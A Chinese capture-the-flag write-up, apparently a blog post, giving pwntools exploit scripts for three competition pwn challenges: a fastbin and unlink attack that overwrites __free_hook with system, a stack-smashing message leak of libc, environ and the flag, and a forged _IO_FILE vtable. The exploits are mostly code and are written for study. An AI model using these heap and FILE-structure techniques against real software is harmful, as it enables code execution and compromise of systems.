zoukankan      html  css  js  c++  java
  • 网鼎杯 pwn 记录

    题目位置

    https://gitee.com/hac425/blog_data/tree/master/wdb
    

    babyheap

    • 通过分配和释放构建 2fastbin
    • 利用 show 功能, leak heap 的基地址
    • 然后可以在 heap 伪造 fastbin , 造成 overlap chunk
    • 修改 chunk size ,同时伪造 free chunk
    • unlink 攻击 , 可以控制 ptr_table
    • 然后通过 修改 edit_count 实现多次写
    • __free_hook 设置 system.
    # !/usr/local/bin/python
    # -*- coding:utf-8 -*-
    from pwn import *
    from time import sleep
    
    # context.log_level = "debug"
    
    elf = ELF("./babyheap")
    elf.got['puts'] = 0x0601FA0
    
    p = elf.process()
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
    
    ptr_table = 0x00602060
    
    
    def alloc(idx, content):
        p.sendlineafter("Choice:", "1")
        p.sendlineafter("Index:", str(idx))
        p.sendafter("Content:", content)
        sleep(0.1)
    
    
    def edit(idx, content):
        p.sendlineafter("Choice:", "2")
        p.sendlineafter("Index:", str(idx))
        p.sendafter("Content:", content)
        sleep(0.1)
    
    
    def show(idx):
        p.sendlineafter("Choice:", "3")
        p.sendlineafter("Index:", str(idx))
        sleep(0.1)
    
    
    def free(idx):
        p.sendlineafter("Choice:", "4")
        p.sendlineafter("Index:", str(idx))
        sleep(0.1)
    
    
    
    
    info("wait to attach: gdb --pid={}".format(p.proc.pid))
    
    payload = "x00" * 0x18
    payload += p64(0x31)
    
    alloc(0, "shx00
    ")
    alloc(1, payload)    # 用于伪造 fastbin
    alloc(2, p64(0x21) * 4)
    alloc(3, 'x21' * 0x20)
    
    free(2)
    free(1)
    
    info("获取 fastbin 链表")
    
    show(1)
    leak = p.recvuntil("
    ")[:-1]
    leak = u64(leak + "x00" * (8 - len(leak)))
    heap_base = leak - 0x60
    info("heap_base: " + hex(heap_base))
    
    edit(1, p64(heap_base + 0x50) + "
    ")
    info("修改fastbin 指针, 伪造 bin")
    
    
    payload = p64(0) + p64(0x21)
    payload += p64(ptr_table - 0x18 + 0x8)
    payload += p64(ptr_table - 0x10 + 0x8)
    
    alloc(4, "333
    ")
    alloc(5, p64(0x20) + p64(0x90) + "
    ")
    alloc(6, "shx00" + "
    ")
    alloc(7, "666" + "
    ")
    
    free(4)
    alloc(8, payload)
    info("通过 free + new 实现 edit , 伪造 free chunk 用于 unlinnk")
    
    free(2)
    
    payload = "x00" * 0x10
    payload += p64(0x06020B0)
    payload += p64(ptr_table)
    edit(1, payload)
    edit(0, p64(0) + "
    ")
    info("修改 ptr_table , 设置 edit 计数为 0")
    
    
    payload = p64(0x06020B0)
    payload += p64(ptr_table)
    payload += p64(elf.got['puts'])
    payload += p64(ptr_table)
    edit(1, payload)
    edit(0, p64(0) + "
    ")
    
    show(2)
    leak = p.recvuntil("
    ")[:-1]
    leak = u64(leak + "x00" * (8 - len(leak)))
    libc.address = leak - libc.symbols['puts']
    info("libc.address: " + hex(libc.address))
    
    payload = p64(0x06020B0)
    payload += p64(ptr_table)
    payload += p64(elf.got['puts'])
    payload += p64(libc.symbols['__free_hook'])
    edit(1, payload)
    edit(0, p64(0) + "
    ")
    
    edit(3, p64(libc.symbols['system']) + "
    ")
    
    free(6)
    
    p.interactive()
    

    guess

    栈底 会保存一个指针,在检测栈溢出时会打印, 于是通过覆盖指针 来 leak flag

    #!/usr/local/bin/python
    # -*- coding:utf-8 -*-
    
    from pwn import *
    
    # context.log_level = "debug"
    elf_path = "/home/lsl/network_fuzz/netconf/GUESS"
    libc_path = "./libc6_2.19-0ubuntu6.14_amd64.so"
    
    elf = ELF(elf_path)
    libc = ELF(libc_path)
    
    
    def get_offset():
        for i in range(0x80, 0x180):
            p = elf.process()
            p.recvuntil("flag
    ")
    
            # 0x0400C90 You must have great six sense!!!! :-o
            # 在 栈的底部有指针,当检测到栈溢出时会打印指针内容, 遍历设置看哪里可以覆盖到指针。
            # 如果覆盖到 指针, 就会打印 0x128 *** stack smashing detected ***: You must have great six sense!!!! :-o  terminated
            p.sendline("1" * i + p64(0x0400C90))
            p.recvline()
            x = p.recvline()
            p.close()
    
            # 找到偏移退出
            if "six" in x:
                print hex(i), x
                exit(0)
    
    
    
    def leak_data(p, addr):
        p.recvuntil("flag
    ")
        p.sendline("1" * 0x128 + p64(addr))
        p.recvuntil("***: ")
    
    def leak_address(p, address):
        leak_data(p, address)
        leak = u64(p.recv(6) + "x00" * 2)
        return leak
    
    
    
    p = elf.process()
    
    # 先通过 puts 泄漏 libc
    libc.address = leak_address(p, elf.got["puts"]) - libc.symbols['puts']
    info("libc: " + hex(libc.address))
    
    
    # 找到 environ 的地址,然后通过泄漏,拿到 environ 的值,这是一个 栈的地址
    environ_address = libc.symbols['environ']
    environ = leak_address(p, environ_address)
    
    info("get stack addr")
    
    
    # 根据 flag 在栈中的地址和 environ 的偏移,拿到 flag
    flag_address = environ - 0x168
    leak_data(p, flag_address)
    print p.recvline()
    p.close()
    
    
    get_offset()
    
    
    

    blind

    stdin, stdout, stderr 的地址会放到 bss 段, 其中的 0x7f 可以作为 fastbinsize 使用。

    • fastbin attack 分配到 bss
    • 修改 ptr 表,任意地址写
    • bss 段后面有一块很大的空间伪造 _IO_FILE_plus, 修改 vtableget_system 的函数 .
    • 修改 stdout 到 伪造的 _IO_FILE_plus
    #!/usr/local/bin/python
    # -*- coding:utf-8 -*-
    from pwn import *
    import struct
    
    context.log_level = "debug"
    
    elf = ELF("./blind")
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
    # 大小为 0x70 的 fake chunk
    fake_chunk = 0x60203d
    ptr_table = 0x602060
    stdin_address = 0x602030
    stdout = 0x0602020
    
    fake_io_file = 0x602098 - 0x10
    vtable_address = fake_io_file + 224
    
    call_system = 0x0004008E3
    
    
    p = elf.process()
    
    _IO_USE_OLD_IO_FILE = False
    _BITS = 64
    
    
    def _u64(data):
        return struct.unpack("<Q", data)[0]
    
    
    def _u32(data):
        return struct.unpack("<I", data)[0]
    
    
    def _u16(data):
        return struct.unpack("<H", data)[0]
    
    
    def _u8(data):
        return ord(data)
    
    
    def _usz(data):
        if _BITS == 32:
            return _u32(data)
        elif _BITS == 64:
            return _u64(data)
        else:
            print("[-] Invalid _BITS")
            exit()
    
    
    def _ua(data):
        if _BITS == 32:
            return _u32(data)
        elif _BITS == 64:
            return _u64(data)
        else:
            print("[-] Invalid _BITS")
            exit()
    
    
    def _p64(data):
        return struct.pack("<Q", data)
    
    
    def _p32(data):
        return struct.pack("<I", data)
    
    
    def _p16(data):
        return struct.pack("<H", data)
    
    
    def _p8(data):
        return chr(data)
    
    
    def _psz(data):
        if _BITS == 32:
            return _p32(data)
        elif _BITS == 64:
            return _p64(data)
        else:
            print("[-] Invalid _BITS")
            exit()
    
    
    def _pa(data):
        if _BITS == 32:
            return struct.pack("<I", data)
        elif _BITS == 64:
            return struct.pack("<Q", data)
        else:
            print("[-] Invalid _BITS")
            exit()
    
    
    class _IO_FILE_plus:
        def __init__(self):
            self._flags = 0x00000000fbad2887  # High-order word is _IO_MAGIC; rest is flags.
            self._IO_read_ptr = 0x602500  # Current read pointer
            self._IO_read_end = 0x602500  # End of get area
            self._IO_read_base = 0x602500  # Start of putback+get area
            self._IO_write_base = 0x602600  # Start of put area
            self._IO_write_ptr = 0x602600  # Current put pointer
            self._IO_write_end = 0x602600  # End of put area
            self._IO_buf_base = 0x602600  # Start of reserve area
            self._IO_buf_end = 0x602601  # End of reserve area
    
            # The following fields are used to support backing up and undo.
            self._IO_save_base = 0  # Pointer to start of non-current get area
            self._IO_backup_base = 0  # Pointer to first valid character of backup area
            self._IO_save_end = 0  # Pointer to end of non-current get area
    
            self._markers = 0
            self._chain = 0
    
            self._fileno = 0
            self._flags2 = 0
            self._old_offset = 0  # This used to be _offset but it's too small
    
            # 1+column number of pbase(); 0 is unknown
            self._cur_column = 0
            self._vtable_offset = 0
            self._shortbuf = 0
    
            self._lock = 0x602700
    
            if not _IO_USE_OLD_IO_FILE:
                self._offset = 0
                self._codecvt = 0
                self._wide_data = 0
                self._freeres_list = 0
                self._freeres_buf = 0
                self.__pad5 = 0
                self._mode = 0
                self._unused2 = [0 for i in range(15 * 4 - 5 * _BITS / 8)]
            self.vtable = vtable_address
    
        def tostr(self):
            buf = _p64(self._flags & 0xffffffff) + 
                  _pa(self._IO_read_ptr) + 
                  _pa(self._IO_read_end) + 
                  _pa(self._IO_read_base) + 
                  _pa(self._IO_write_base) + 
                  _pa(self._IO_write_ptr) + 
                  _pa(self._IO_write_end) + 
                  _pa(self._IO_buf_base) + 
                  _pa(self._IO_buf_end) + 
                  _pa(self._IO_save_base) + 
                  _pa(self._IO_backup_base) + 
                  _pa(self._IO_save_end) + 
                  _pa(self._markers) + 
                  _pa(self._chain) + 
                  _p32(self._fileno) + 
                  _p32(self._flags2) + 
                  _p64(self._old_offset) + 
                  _p16(self._cur_column) + 
                  _p8(self._vtable_offset) + 
                  _p8(self._shortbuf)
            if _BITS == 64:
                buf += _p32(0)
            buf += _pa(self._lock)
            if not _IO_USE_OLD_IO_FILE:
                buf += 
                    _p64(self._offset) + 
                    _pa(self._codecvt) + 
                    _pa(self._wide_data) + 
                    _pa(self._freeres_list) + 
                    _pa(self._freeres_buf) + 
                    _psz(self.__pad5) + 
                    _p32(self._mode) + 
                    ''.join(map(lambda x: _p8(x), self._unused2)) + 
                    _pa(self.vtable)
            return buf
    
        def __str__(self):
            return self.tostr()
    
    def new(index, content):
        p.recvuntil("Choice:")
        p.sendline('1')
        p.recvuntil("Index:")
        p.sendline(str(index))
        p.recvuntil("Content:")
        p.sendline(content)
    
    
    def release(index):
        p.recvuntil("Choice:")
        p.sendline('3')
        p.recvuntil("Index:")
        p.sendline(str(index))
    
    
    def change(index, content):
        p.recvuntil("Choice:")
        p.sendline('2')
        p.recvuntil("Index:")
        p.sendline(str(index))
        p.recvuntil("Content:")
        p.send(content)
    
    
    s = _IO_FILE_plus().tostr()
    print len(s)
    
    info("gdb --pid={}".format(p.proc.pid))
    # pause()
    
    
    new(0, '111')
    new(1, '222')
    release(0)
    info("获得一个 0x70 的 fastbin")
    
    change(0, p64(fake_chunk) + "
    ")
    info("利用 bss 上的 stderr 伪造 fastbin")
    
    new(2, '222')
    new(3, '333')
    info("分配两个 fastbin , 此时 chunk 3 为  bss")
    
    payload = "x00" * 0x13
    payload += p64(stdout) # 0
    payload += p64(fake_io_file) # 1
    payload += p64(fake_io_file + 0x68) # 2
    payload += p64(fake_io_file + 0x68 * 2) # 3
    payload += p64(vtable_address) # 4
    change(3, payload + "
    ")
    
    
    change(1, s[0:0x68])
    change(2, s[0x68:0xd0])
    change(3, s[0xd0:] + "
    ")
    info("伪造 fake IO_FILE")
    
    change(4, p64(call_system) * 13)
    info("伪造 虚表")
    pause()
    
    # p.sendline("2")
    change(0, p64(fake_io_file) + '
    ')
    pause()
    
    
    p.interactive()
    
    
  • 相关阅读:
    phpmyadmin详细的图文使用教程
    从入门到深入FIDDLER 2
    TestNG学习-001-基础理论知识
    TestNG学习-002-annotaton 注解概述及其执行顺序
    自动化测试如何解决验证码的问题
    自动化测试 -- 通过Cookie跳过登录验证码
    JMeter学习-012-JMeter 配置元件之-HTTP Cookie管理器-实现 Cookie 登录
    自动化测试框架
    并发和并行概念及原理
    匿名内部实现多线程的两种方式创建
  • 原文地址:https://www.cnblogs.com/hac425/p/9520375.html
Copyright © 2011-2022 走看看